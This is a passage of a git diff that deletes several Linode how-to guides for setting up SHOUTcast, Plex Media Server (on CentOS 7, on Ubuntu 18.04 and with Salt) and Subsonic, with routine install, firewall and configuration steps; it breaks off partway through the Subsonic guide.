-; this is a name for the source we're creating and is used -; with the AJAX control api or can be left blank to get a -; generic name created in the form of 'endpointX' where 'X' -; is the index of the created source from sc_trans lists. -endpointname_1=/Bob - -{{< /file >}} - - -4. This step is optional, but you can also update your stream information: - - {{< file "/home/shoutcast/sct/sc_trans_basic.conf" conf >}} -; here you would provide any information to fill in details -; provided to clients about the stream. it us up to you what -; is entered though do not do anything which will annoy, etc -streamtitle=My Test Server -streamurl=http://www.shoutcast.com -genre=Misc - -{{< /file >}} - - -5. Set your playlist file for an automated stream: - - {{< file "/home/shoutcast/sct/sc_trans_basic.conf" conf >}} -; here we specify a playlist to use as the master list from -; which to play files from. -playlistfile=playlists/main.lst -{{< /file >}} - - -6. Now set the port, username, and password for the transcoder admin panel access: - - {{< file "/home/shoutcast/sct/sc_trans_basic.conf" conf >}} -; these options will allow you access the admin interfaces -; of sc_trans though also allows the 'testui' example to be -; accessed. remember to change the password, etc as needed -adminport=7999 -adminuser=admin -adminpassword=goaway - -{{< /file >}} - - -7. Save the changes to the SHOUTcast configuration file by pressing Control-X, and then Y. -8. If you are using an automated playlist, upload your music files to the `/home/shoutcast/sct/music` directory. -9. If you are using an automated playlist, you'll also need to create a playlist file. Here is an example: - - {{< file "/home/shoutcast/sct/playlists/playlist.lst" >}} -# This example playlist is used as the main playlist sc_trans will use to pick -# out the files it will use to create its output for the source we generate. -# -# Also remember to use the correct path format for the OS you are using and to -# ensure that the files you want to play are present in the location you choose -# e.g. -../music/shoutcast.mp3 -# -# In this example we will just assume that all of the files associated to the -# playlist are in one folder and all have an mp3 extension though there is no -# reason why you cannot explicitly specify files to use or to reference a tool. -# See sc_trans.txt - section 7.1 for more information on how playlists work. - -# Remember to change this to reference the files you want to use when trying -# the sc_trans_playlist.conf example which is best tried with full length files - -{{< /file >}} - - -### Start SHOUTcast Transcoder - -Once you have the transcoder configured and ready to go, you need to start it. To run the transcoder as a daemon, simply run this command, substituting `sc_trans_basic.conf` for whatever configuration file you are using: - - ./sc_trans daemon ./sc_trans_basic.conf - -If no errors appear, you should see output similar to the line below, where XXXX is the PID: - - sc_trans going daemon with PID [XXXX] - -To shut down the transcoder, you'll just need to issue a kill command: - - kill -15 PID - -## SHOUTcast Source DSP - -SHOUTcast's Source DSP plugin was developed for use with WinAmp version 5.5 and newer. This plugin gives you the ability to use WinAmp as a source for your sc\_serv (DNAS) or sc\_trans (Transcoder). It will also allow you to capture an audio input from your sound card and its line-in or microphone inputs. You will need a working installation of either the DNAS by itself, or the Transcoder feeding into a DNAS installation, before you can use the DSP WinAmp plugin. The download for the DSP plugin is near the bottom of the [broadcast tools page](http://www.shoutcast.com/broadcast-tools). - -Instructions for installation and configuration are located in the [WinAmp wiki](http://wiki.winamp.com/wiki/Source_DSP_Plug-in#Installing_the_Plug-in). diff --git a/docs/guides/applications/media-servers/install-plex-media-server-on-centos-7/index.md b/docs/guides/applications/media-servers/install-plex-media-server-on-centos-7/index.md deleted file mode 100644 index bbe6b766a79..00000000000 --- a/docs/guides/applications/media-servers/install-plex-media-server-on-centos-7/index.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -slug: install-plex-media-server-on-centos-7 -title: Install Plex Media Server on CentOS 7 -description: 'This guide shows you how to install Plex Media Server, an application that organizes and can stream your photos, videos, music, and more, on CentOS 7.' -authors: ["Nick Brewer"] -contributors: ["Nick Brewer"] -published: 2017-05-03 -modified: 2019-01-31 -keywords: ["plex", "media", "centos"] -tags: ["centos"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Plex Media Server Documentation](https://support.plex.tv/hc/en-us/categories/200007567-Plex-Media-Server)' -dedicated_cpu_link: true -relations: - platform: - key: how-to-install-plex - keywords: - - distribution: CentOS 7 -aliases: ['/applications/media-servers/install-plex-media-server-on-centos-7/'] ---- - -[Plex](https://www.plex.tv/) is a feature-rich media library platform that allows you to organize and stream your digital video and audio from virtually anywhere. Basic Plex features are [free](https://support.plex.tv/articles/202526943-plex-free-vs-paid/), while the paid Plex Pass adds additional features. - -This guide demonstrates how to set up **Plex Media Server** on a Linode running CentOS 7, and how to connect client devices. A Plex media server could benefit from large amounts of disk space, so consider using Linode's [Block Storage](https://techdocs.akamai.com/cloud-computing/docs/block-storage) service with this setup. - -![Install Plex Media Server on CentOS 7](install-plex-media-server-on-centos-7.png) - - -## Before you Begin - -- You will need root access to your Linode, or a [limited user account](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#add-a-limited-user-account) with `sudo` privilege. - -- Set your system's [hostname](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname) and [time zone](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#set-the-timezone). - -- Plex requires that you create an [account](https://www.plex.tv/features/) to make use of the service, and provides additional features such as DVR capability and offline viewing if you pay for their premium [Plex Pass](https://www.plex.tv/features/plex-pass/) offering. To complete this guide, you will need a Plex account. - - -## Install and Configure Plex - -1. Go to [Plex's download page](https://www.plex.tv/media-server-downloads/). Select *Linux*, and then click *Choose Distribution*. - - ![Plex download button](plex-download-button.png) - -2. In the menu that appears, right-click on *CentOS 64-bit (RPM for CentOS 7 or newer)* and copy the download link. Use `cURL` to download the .rpm package directly to your Linode. The example below uses the current link for CentOS at the time of writing. Be sure you install the most recent version of Plex. - - curl -O https://downloads.plex.tv/plex-media-server/1.14.1.5488-cc260c476/plexmediaserver-1.14.1.5488-cc260c476.x86_64.rpm - -3. Update your system and install Plex: - - sudo yum update - sudo yum install plexmediaserver*.rpm - -4. Enable Plex Media Server to start on reboot and then start the server: - - sudo systemctl enable plexmediaserver - sudo systemctl start plexmediaserver - -5. Finally, you'll create the directories that will store your Plex media. In this example we'll create library directories for `movies` and `television` within a `plex-media` directory. These will be located within your user's `/home`: - - cd ~/ - mkdir -p plex-media/movies && mkdir plex-media/television - -6. Administration of the Plex server is performed via its web interface. Before you can connect to the web interface from your workstation, you will first need to create an SSH tunnel to your Linode. Substitute `user` with the `sudo` user on your Linode, and `192.0.2.0` with its IP address. - - ssh user@192.0.2.0 -L 8888:localhost:32400 - -7. Go to `http://localhost:8888/web` in a web browser and log in to Plex. - - ![Plex web interface.](plex-browser-view.png) - -8. Give your Plex server a name. Be sure to leave the **Allow me to access my media outside my home** box checked, and click **Next**: - - ![Plex web interface - Server Name.](plex-server-name.png) - - -## Add and Organize Media - -1. Now that you've signed into Plex, you should see the following page. Click the **Add Library** button to start setting up your media libraries. - - ![Plex web interface - Add Library](plex-add-library.png) - -1. Select your library type, and click **Next**. - - ![Plex web interface - Library type](plex-library-type.png) - -1. Navigate to the corresponding media directory that you created previously, then click **Add**. - - ![Plex web interface - Library location](plex-library-location.png) - -1. You can add additional libraries by clicking the **+** symbol next to the **Libraries** list on the Plex side bar: - - ![Plex web interface - additional Library](plex-additional-library.png) - -1. Add your media to the appropriate directories. Be sure to review Plex's [naming conventions](https://support.plex.tv/hc/en-us/categories/200028098-Media-Preparation) for media files to ensure that your files are identified correctly. - -## Disable DLNA (Recommended) - -[DLNA](https://en.wikipedia.org/wiki/Digital_Living_Network_Alliance) is a protocol that incorporates [Universal Plug and Play](https://en.wikipedia.org/wiki/Universal_Plug_and_Play) (or UPnP) standards for digital media sharing across devices. Any DLNA device or application can have full unrestricted access to your Plex content, so disable DLNA if you won't be using it. - -From the Plex web interface, click the wrench icon in the upper right corner and then click **DLNA** in the left sidebar. Uncheck **Enable the DLNA server** and click **Save Changes**. - -![Plex media client](plex-dlna-disable.png) - -## Connect to your Plex Server - -Now that your server is set up, you're ready to connect to it from a Plex client. Plex is supported by a number of different platforms and you can find a full list of client applications [here](https://support.plex.tv/hc/en-us/categories/200006953-Plex-Apps). - -The examples provided here will use Plex Media Player for macOS. - -1. [Download](https://www.plex.tv/downloads/) the appropriate media player application or install it via your device's app store. - -1. Sign in to the Plex client app using the same Plex account as your server. - -1. Your Plex client will have a dropdown menu where you can select your server. Once it's selected, you can navigate to the library with the content that you wish to view: - - ![Plex media client](plex-media-client.png) diff --git a/docs/guides/applications/media-servers/install-plex-media-server-on-ubuntu-18-04/index.md b/docs/guides/applications/media-servers/install-plex-media-server-on-ubuntu-18-04/index.md deleted file mode 100644 index 469bccef940..00000000000 --- a/docs/guides/applications/media-servers/install-plex-media-server-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,184 +0,0 @@ ---- -slug: install-plex-media-server-on-ubuntu-18-04 -title: 'How to Install Plex Media Server on Ubuntu 18.04' -title_meta: 'Install Plex Media Server on Ubuntu 18.04' -description: 'Learn how to view and organize your media library with Plex on Ubuntu 18.04 in this detailed user guide.' -authors: ["Nick Brewer"] -contributors: ["Nick Brewer"] -published: 2017-05-03 -modified: 2020-01-04 -keywords: ["plex media server", "install plex", "plex ubuntu"] -tags: ["ubuntu"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/applications/media-servers/install-plex-media-server-on-ubuntu-18-04/','/applications/media-servers/install-plex-media-server-on-ubuntu-16-04/'] -external_resources: -- '[Plex Media Server Documentation](https://support.plex.tv/hc/en-us/categories/200007567-Plex-Media-Server)' -dedicated_cpu_link: true -relations: - platform: - key: how-to-install-plex - keywords: - - distribution: Ubuntu 18.04 ---- - -[Plex](https://www.plex.tv/) is a feature-rich media library platform that allows you to organize and stream your digital video and audio from anywhere. This guide shows you how to set up the **Plex Media Server** on your Linode running Ubuntu 18.04 LTS, as well as how to connect to your media server from a [Plex client application](https://www.plex.tv/apps-devices/. A Plex media server could benefit from large amounts of disk space, so consider using our [Block Storage](https://techdocs.akamai.com/cloud-computing/docs/block-storage) service with this setup. - -![Install Plex Media Server on Ubuntu 18.04](install-plex-media-server-on-ubuntu-18-04.png) - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Prerequisites to Install Plex Media Server on Ubuntu 18.04 - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Create a [Plex account](https://www.plex.tv/). This is required to make use of the service, and provides additional features such as DVR capability and offline viewing if you pay for their premium [Plex Pass](https://www.plex.tv/features/plex-pass/). Purchasing a premium Plex Pass is optional. - -## Installing Plex Media Server on Ubuntu 18.04 - -This section shows you how to install the Plex Media Server on your Ubuntu 18.04 Linode. - -1. Go to the [Plex Server Downloads](https://www.plex.tv/media-server-downloads/) page and select **Linux** from the **Plex Media Server** dropdown menu. - -1. Click on the **Choose Distribution** button and copy the installation link for Ubuntu. For example, the **Ubuntu (16.04+) / Debian (8+) - Intel/AMD 64-bit** link is compatible with a Linode running Ubuntu 18.04. - - ![Plex server downloads page.](download-plex-server-for-ubuntu.jpg) - -1. [Connect to your Ubuntu 18.04 Linode via SSH](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#connect-to-the-instance) and use `wget` to download the installer via the copied link. Replace the link with your selected distribution as shown in the example below: - - wget https://downloads.plex.tv/plex-media-server/1.14.1.5488-cc260c476/plexmediaserver_1.14.1.5488-cc260c476_amd64.deb - - This example uses the current link for Ubuntu, at the time of writing. Be sure to use the up-to-date version supplied on the Plex website. - -1. Use `dpkg` to install the Plex `.deb` files (Plex distribution) you downloaded using `wget` with the following command: - - sudo dpkg -i plexmediaserver*.deb - -1. To start the Plex Media Server automatically when booting your Ubuntu, run the following commands: - - sudo systemctl enable plexmediaserver.service - sudo systemctl start plexmediaserver.service - -## Configuring Plex Media Server on Ubuntu 18.04 - -In this section, you complete your server setup and start adding media libraries. Run the commands from this section on your local computer unless otherwise stated. - -1. Setup an SSH tunnel to your Linode. Run the following command by replacing the username with your Linode system's username and `192.0.2.1` with your Linode’s IP address: - - ssh user@192.0.2.1 -L 8888:localhost:32400 - -1. Open a browser and navigate to `http://localhost:8888/web` to view the Plex web interface. Input your Plex account username and password to proceed with the setup process: - - ![Plex web interface.](plex-browser-view.png) - -1. Give your Plex server a name. Be sure to leave the **Allow me to access my media outside my home** box **checked**, and click **Next**: - - ![Plex web interface - Server Name.](plex-server-name.png) - -1. Finally, [connect to your Linode via SSH](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#connect-to-the-instance) to create the directories that store your Plex media. In the example, you create library directories for `movies` and `television` within a `plex-media` directory. These are located within your user's home directory (`/home/username/`): - - cd ~/ - mkdir -p plex-media/movies && mkdir plex-media/television - -## Organizing Plex Media Server on Ubuntu 18.04 - -The steps in this section are performed using your Plex Media Server's web interface. - -1. Sign into your Plex Media Server's account using the same credentials you used in the [Configuring Plex Media Server on Ubuntu 18.04](#configuring-plex-media-server-on-ubuntu-1804) section. - -1. Once logged in, you should see the example page. Click the **Add Library** button to start setting up your media libraries: - - ![Plex web interface - Add Library](plex-add-library.png) - -1. Select your library type, and click **Next**: - - ![Plex web interface - Library type](plex-library-type.png) - -1. Navigate to the media directory that you created previously (`/home/username/plex-media/movies`), then click **Add**: - - ![Plex web interface - Library location](plex-library-location.png) - -1. You can add additional libraries by clicking the **+** symbol next to the **Libraries** list on the Plex side bar: - - ![Plex web interface - additional Library](plex-additional-library.png) - -1. Add your media to the appropriate directories. Be sure to review Plex's [naming conventions](https://support.plex.tv/articles/naming-and-organizing-your-movie-media-files/) for media files to ensure that your files are identified correctly. - -### Disabling DLNA (Recommended) - -In more recent versions of Plex Media Server, [DLNA](https://en.wikipedia.org/wiki/Digital_Living_Network_Alliance) is usually disabled. However, with certain older distributions, you have to disable it manually. DLNA server uses [Universal Plug and Play](https://en.wikipedia.org/wiki/Universal_Plug_and_Play) Protocol (UPnP) and is not specific to a user account. This means any app or device in a network can access files without restriction if DLNA is enabled. This section shows you how to disable DLNA. - -1. While logged into your Plex Media Server account, click on the **wrench icon** at the top and select **Server**. - -1. Navigate to the **DLNA** section, uncheck **Enable the DLNA server**, and click **Save Changes**: - -![Plex media client](plex-dlna-disable.png) - -## Connecting to Your Plex Server - -Now that your server is set up, you’re ready to connect to it from a Plex client application. You can connect to your Plex Server from a device, like an Apple device. - -1. Navigate to Plex's [list of streaming devices](https://www.plex.tv/apps-devices/). - -1. Select the right client for your device and download it. - -1. Next, sign-in to your Plex client application and select your server from the dropdown menu. Now, you can browse media files available on your Plex server. - -![Plex media client](plex-media-client.png) - -## Configuring Plex Media Server Firewall on Ubuntu 18.04 - -In this section you set up a firewall on your Plex Media Server using the [Uncomplicated Firewall (UFW)](/cloud/guides/configure-firewall-with-ufw/). - -1. UFW is usually pre-installed on Ubuntu. If UFW isn’t installed, run the following command to install it on your Ubuntu system: - - sudo apt-install ufw - -1. To confirm that UFW is installed, view its status by running the example command. If the output returns a `Status: active` confirmation, UFW is installed. - - sudo ufw status verbose - -1. Using a text editor of your choice, create a new UFW application profile file in the following location `/etc/ufw/applications.d/plexmediaserver`. Copy and past the contents of the example file to your own `plexmediaserver` file: - - {{< file "/etc/ufw/applications.d/plexmediaserver" >}} -[plexmediaserver] -title=Plex Media Server (Standard) -description=The Plex Media Server -ports=32400/tcp|3005/tcp|5353/udp|8324/tcp|32410:32414/udp - -[plexmediaserver-dlna] -title=Plex Media Server (DLNA) -description=The Plex Media Server (additional DLNA capability only) -ports=1900/udp|32469/tcp - -[plexmediaserver-all] -title=Plex Media Server (Standard + DLNA) -description=The Plex Media Server (with additional DLNA capability) -ports=32400/tcp|3005/tcp|5353/udp|8324/tcp|32410:32414/udp|1900/udp|32469/tcp -{{}} - -1. Save and update your UFW application profile: - - sudo ufw app update plexmediaserver - -1. Apply these UFW rules by running: - - sudo ufw allow plexmediaserver-all - -1. You should see a similar output, which confirms that your new firewall rules are in place. - - {{< output >}} -To Action From --- ------ ---- -22/tcp ALLOW IN Anywhere -32400/tcp (plexmediaserver-all) ALLOW IN Anywhere -3005/tcp (plexmediaserver-all) ALLOW IN Anywhere -5353/udp (plexmediaserver-all) ALLOW IN Anywhere -8324/tcp (plexmediaserver-all) ALLOW IN Anywhere -32410:32414/udp (plexmediaserver-all) ALLOW IN Anywhere -1900/udp (plexmediaserver-all) ALLOW IN Anywhere -32469/tcp (plexmediaserver-all) ALLOW IN Anywhere -{{}} \ No newline at end of file diff --git a/docs/guides/applications/media-servers/install-plex-media-server-with-salt/index.md b/docs/guides/applications/media-servers/install-plex-media-server-with-salt/index.md deleted file mode 100644 index dff54d93826..00000000000 --- a/docs/guides/applications/media-servers/install-plex-media-server-with-salt/index.md +++ /dev/null @@ -1,249 +0,0 @@ ---- -slug: install-plex-media-server-with-salt -title: "Installing Plex Media Server on Ubuntu 18.04 Using Salt Masterless" -title_meta: "How to Install Plex Media Server on Ubuntu 18.04 Using Salt" -description: 'This guide shows you how to install Plex Media Server, an application that organizes and can stream your photos, videos, music, and more, using Salt.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2019-01-31 -modified: 2019-01-02 -keywords: ['plex','media','server','ubuntu 18.04','ubuntu','salt','saltstack'] -tags: ["ubuntu", "salt"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Salt Masterless Walkthough](https://docs.saltstack.com/en/latest/topics/tutorials/quickstart.html)' - - '[Salt Fileserver Backend Walthrough](https://docs.saltstack.com/en/latest/topics/tutorials/gitfs.html)' - - '[Plex Media Server Quick State](https://support.plex.tv/articles/200264746-quick-start-step-by-step-guides/)' -dedicated_cpu_link: true -aliases: ['/applications/media-servers/install-plex-media-server-with-salt/'] ---- - -Plex is a media server that allows you to stream video and audio content that you own to many different types of devices. In this guide you will learn how to use a masterless Salt minion to set up a Plex server, attach and use a Block Storage Volume, and how to connect to your media server to stream content to your devices. - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for setting your Linode's hostname and timezone. - -1. Follow the steps in the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. - -1. Update your system: - - sudo apt-get update && sudo apt-get upgrade - -2. You will need to create a Block Storage Volume and attach it to your Linode. You will format and mount the drive as part of this guide. This volume will be used to store your media, so you should pick a size that's appropriate for your media collection, though you can resize the volume later if you need more storage. For more on Block Storage, see our [Block Storage Overview](https://techdocs.akamai.com/cloud-computing/docs/block-storage) guide. - -3. Plex requires an account to use their service. Visit the [Plex website](https://www.plex.tv/) to sign up for an account if you do not already have one. - -{{< note >}} -The steps in this guide require root privileges. Be sure to run the steps below with the `sudo` prefix. For more information on privileges, see our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## Prepare the Salt Minion - -1. On your Linode, create the `/srv/salt` and `/srv/pillar` directories. These are where the Salt state files and Pillar files will be housed. - - mkdir /srv/salt && mkdir /srv/pillar - -1. Install `salt-minion` via the Salt bootstrap script: - - curl -L https://bootstrap.saltstack.com -o bootstrap_salt.sh - sudo sh bootstrap_salt.sh - -1. The Salt minion will use the official [Plex Salt Formula](https://github.com/saltstack-formulas/plex-formula), which is hosted on the SaltStack GitHub repository. In order to use a Salt formula hosted on an external repository, you will need GitPython installed. Install GitPython: - - sudo apt-get install python-git - -## Modify the Salt Minion Configuration - -1. Because the Salt minion is running in masterless mode, you will need to modify the minion configuration file (`/etc/salt/minion`) to instruct Salt to look for state files locally. Open the minion configuration file in a text editor, uncomment the line `#file_client: remote`, and set it to `local`: - - {{< file "/etc/salt/minion" yaml >}} -... - -# Set the file client. The client defaults to looking on the master server for -# files, but can be directed to look at the local file directory setting -# defined below by setting it to "local". Setting a local file_client runs the -# minion in masterless mode. -file_client: local - -... -{{< /file >}} - -1. There are some configuration values that do not normally exist in `/etc/salt/minion` which you will need to add in order to run your minion in masterless mode. Copy the following lines into the end of `/etc/salt/minion`: - - {{< file "/etc/salt/minion" yaml >}} -... - -fileserver_backend: - - roots - - gitfs - -gitfs_remotes: - - https://github.com/saltstack-formulas/plex-formula.git - -gitfs_provider: gitpython -{{< /file >}} - - The `fileserver_backend` block instructs the Salt minion to look for Salt configuration files in two places. First, it tells Salt to look for Salt state files in our minion's `roots` backend (`/srv/salt`). Secondly, it instructs Salt to use the Git Fileserver (gitfs) to look for Salt configuration files in any Git remote repositories that have been named in the `gitfs_remotes` section. The address for the Plex Salt formula's Git repository is included in the `gitfs_remotes` section. - - {{< note respectIndent=false >}} -It is best practice to create a fork of the Plex formula's Git repository on GitHub and to add your fork's Git repository address in the `gitfs_remotes` section. This will ensure that any further changes to the upstream Plex formula which might break your current configuration can be reviewed and handled accordingly, before applying them. -{{< /note >}} - - Lastly, GitPython is specified as the `gitfs_provider`. - -## Create the Salt State Tree - -1. Create a Salt state top file at `/srv/salt/top.sls` and copy in the following configuration. This file tells Salt to look for state files in the plex folder of the Plex formula's Git repository, and for a state files named `disk.sls` and `directory.sls`, which you will create in the next steps. - - {{< file "/srv/salt/top.sls" yaml >}} -base: - '*': - - plex - - disk - - directory -{{< /file >}} - - -1. Create the `disk.sls` file in `/srv/salt`: - - {{< file "/srv/salt/disk.sls" yaml >}} -disk.format: - module.run: - - device: /dev/disk/by-id/scsi-0Linode_Volume_{{ pillar['volume_name'] }} - - fs_type: ext4 - -/mnt/plex: - mount.mounted: - - device: /dev/disk/by-id/scsi-0Linode_Volume_{{ pillar['volume_name'] }} - - fstype: ext4 - - mkmnt: True - - persist: True -{{< /file >}} - - This file instructs Salt to prepare your Block Storage Volume for use with Plex. It first formats your Block Storage Volume with the `ext4` filesystem type by using the `disk.format` Salt module, which can be run in a state file using `module.run`. Then `disk.sls` instructs Salt to mount your volume at `/mnt/plex`, creating the mount target if it does not already exist with `mkmnt`, and persisting the mount to `/etc/fstab` so that the volume is always mounted at boot. - -1. Create the `directory.sls` file in `/srv/salt`: - - {{< file "/srv/salt/directory.sls" >}} -/mnt/plex/plex-media: - file.directory: - - require: - - mount: /mnt/plex - - user: username - - group: plex - -/mnt/plex/plex-media/movies: - file.directory: - - require: - - mount: /mnt/plex - - user: username - - group: plex - -/mnt/plex/plex-media/television: - file.directory: - - require: - - mount: /mnt/plex - - user: username - - group: plex -{{< /file >}} - - The directories that are created during this step are for organizational purposes, and will house your media. Make sure you replace `username` with the name of the limited user account you created when following the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. The location of the directories is the volume you mounted in the previous step. If you wish to add more directories, perhaps one for your music media, you can do so here, just be sure to include the `- require` block, as this prevents Salt from trying to create the directory before the Block Storage Volume has been mounted. - -1. Go to the [Plex Media Server download page](https://www.plex.tv/media-server-downloads/#plex-media-server) and note the most recent version of their Linux distribution. At the time of writing, the most recent version is `1.13.9.5456-ecd600442`. Create the `plex.sls` Pillar file in `/srv/pillar` and change the Plex version number and the name of your Block Storage Volume as necessary: - - {{< file "/srv/pillar/plex.sls" yaml >}} -plex: - version: 1.13.9.5456-ecd600442 -volume_name: plex -{{< /file >}} - -1. Create the Salt Pillar top file in `/srv/pillar`. This file will instruct Salt to look for the `plex.sls` Pillar file you created in the previous step. - - {{< file "/srv/pillar/top.sls" >}} -base: - '*': - - plex -{{< /file >}} - -1. Apply your Salt state locally using `salt-call`: - - salt-call --local state.apply - - You should see a list of the changes Salt applied to your system. You have successfully installed Plex using Salt. - -## Set Up Plex - -### Initial Configuration - -1. You'll need to create an SSH tunnel to your Linode to connect to Plex's web UI. On your local computer, run the following command, replacing `` with your Plex server's IP address.: - - ssh username@ -L 8888:localhost:32400 - -1. In a browser, navigate to `http://localhost:8888/web/`. - -1. Sign in with your Plex username and password. - -1. Name your media server. This example uses the name `linode-plex`. Be sure to check the box that reads *Allow me to access my media outside my home* and then click **Next**. - - ![Name your media server](plex-salt-name-server.png) - -### Organize Your Media - -1. Click on the **Add Library** button: - - ![Click on Add Media](plex-salt-organize-media.png) - -2. Select *Movies* and click **Next**: - - ![Select Movies and click next](plex-salt-add-library1.png) - -3. Click **Browse for Media Folder** and select the appropriate folder at `/mnt/plex/plex-media/movies`. Then click **Add**: - - ![Select the appropriate folder](plex-salt-add-library2.png) - -4. Repeat the process to add your 'Television' folder. - -5. When you are done adding your libraries, click **Add Library**. - -5. To continue the configuration process, click **Next**. - -6. Click on **Get Plex Apps** to download the appropriate Plex client for your device. Then click **Done**. - - ![Download the appropriate client for your device](plex-salt-download-app.png) - -7. In the future you can add more libraries by hovering over the menu and clicking the plus sign (+) next to *LIBRARIES*. - - ![Add more libraries](plex-salt-add-library3.png) - -### Disable DLNA (Recommended) - -[DLNA](https://en.wikipedia.org/wiki/Digital_Living_Network_Alliance) is a protocol that incorporates [Universal Plug and Play](https://en.wikipedia.org/wiki/Universal_Plug_and_Play) (or UPnP) standards for digital media sharing across devices. If you do not wish to make use of it, it’s recommended that you disable this feature, as it is openly connectable on port `1900`. From the Plex web interface, click the wrench icon in the upper right corner, and navigate to the **DLNA** section under *SETTINGS*. Uncheck *Enable the DLNA server*, and click **Save Changes**: - -![Disable DLNA](plex-salt-disable-dlna.png) - -## Connect to Your Plex Server - -1. Visit the [Plex Apps](https://www.plex.tv/media-server-downloads/#plex-app) download page or the app store on your device to download Plex Media Player if you have not already done so. - -1. Open your Plex app. The example provided here will use the Plex Media Player for macOS. - -1. Sign in to Plex. - -1. On the left there's a dropdown menu where you can select your server by the name you chose. Select your server. - - ![Connect to your Plex Server](plex-salt-select-remote.png) - -1. You are now able to stream your content with Plex. - - ![Plex's macOS App](plex-salt-mac-app.png) - -## Transfer Media to Your Server - -1. You can use SCP to transfer media to your server from your local computer. Replace your username and `123.456.7.8` with the IP address of your Linode. - - scp example_video.mp4 username@123.456.7.8:/mnt/plex/plex-media/movies - -1. Once you've transferred files to your Plex media server, you may need to scan for new files before they show up in your Library. Click on the ellipsis next to a Library and select **Scan Library Files**. - - ![Scan your Library for new files](plex-salt-scan-for-files.png) diff --git a/docs/guides/applications/media-servers/install-subsonic-media-server-on-ubuntu-or-debian/index.md b/docs/guides/applications/media-servers/install-subsonic-media-server-on-ubuntu-or-debian/index.md deleted file mode 100644 index 4383fb5e093..00000000000 --- a/docs/guides/applications/media-servers/install-subsonic-media-server-on-ubuntu-or-debian/index.md +++ /dev/null @@ -1,103 +0,0 @@ ---- -slug: install-subsonic-media-server-on-ubuntu-or-debian -title: "Installing Subsonic Media Server on Ubuntu or Debian to Stream Music" -title_meta: "How to Install Subsonic Media Server on Ubuntu or Debian" -description: 'Subsonic is a free music streaming application. This guide shows how to install Subsonic media server on a Linode.' -authors: ["Alex Fornuto"] -contributors: ["Alex Fornuto"] -published: 2015-02-02 -modified: 2019-01-31 -keywords: ["subsonic", "music", "audio", "streaming", "media server"] -aliases: ['/applications/media-servers/install-subsonic-media-server-on-ubuntu-or-debian/','/applications/media-servers/subsonic/'] -tags: ["debian", "ubuntu"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Subsonic official site](http://www.subsonic.org)' -dedicated_cpu_link: true ---- - -![Install Subsonic Media Server on Ubuntu or Debian to Stream Music Through Your Linode](Install_Subsonic_Media_Server_on_Ubuntu_or_Debian_smg.png "Install Subsonic Media Server on Ubuntu or Debian to Stream Music Through Your Linode") - -## What is Subsonic? - -[Subsonic](http://subsonic.org) is an easy-to-use media streaming service with a user-friendly interface and the ability to share music and video with multiple users. It is highly customizable and includes features such as Chromecast support and file conversion. - -This guide shows how to set up Subsonic on a Linode running Debian or Ubuntu. If you have a large music library, consider attaching a [Block Storage Volume](https://techdocs.akamai.com/cloud-computing/docs/block-storage) to your Linode to store your music files. - -## Install Java - -You will need Java installed on your system to run Subsonic. - -{{% content "install-java-8-ppa" %}} - -## Install Subsonic - -1. The latest version of Subsonic (as of publication) is 6.1.3, and the most recent release can always be found on their [download](http://www.subsonic.org/pages/download.jsp) page. Download and install Subsonic onto your Linode: - - wget https://s3-eu-west-1.amazonaws.com/subsonic-public/download/subsonic-6.1.3.deb - sudo dpkg -i subsonic-6.1.3.deb - -2. Subsonic runs as the root user by default, which is insecure. Create a new system user for subsonic to run as: - - sudo useradd --system subsonic - sudo gpasswd --add subsonic audio - -3. Open `/etc/default/subsonic` in a text editor. In this file you can change the user, the port Subsonic listens on, increase the amount of memory it can use, and encrypt your streaming traffic with SSL. Change the `SUBSONIC_USER` variable to the new `subsonic` user: - - {{< file "/etc/default/subsonic" >}} -# Type "subsonic --help" on the command line to read an -# explanation of the different options. -# -# For example, to specify that Subsonic should use port 80 (for http) -# and 443 (for https), and use a Java memory heap size of 200 MB, use -# the following: -# -# SUBSONIC_ARGS="--port=80 --https-port=443 --max-memory=200" - -SUBSONIC_ARGS="--max-memory=150" - -SUBSONIC_USER=subsonic -{{< /file >}} - - {{< note respectIndent=false >}} -If you have a firewall set up, allow connections from the port Subsonic is listening on. -{{< /note >}} - -3. Restart Subsonic: - - sudo systemctl restart subsonic - -## Configuration and Use - -1. By default, Subsonic looks for music files stored in `/var/music`. Create this directory and change its ownership to the `subsonic` user. You can substitute another directory if you would prefer to store your music elsewhere. - - sudo mkdir /var/music - sudo chown subsonic:subsonic /var/music - -2. Open Subsonic in your browser by navigating to port 4040 on your Linode's public IP address or domain name. - -3. The first time you access your Subsonic server in your browser, you will see the following: - - ![First time Subsonic access](subsonic-firstlogin.png) - -4. Use the default username and password (admin/admin) or the provided link to log in: - - 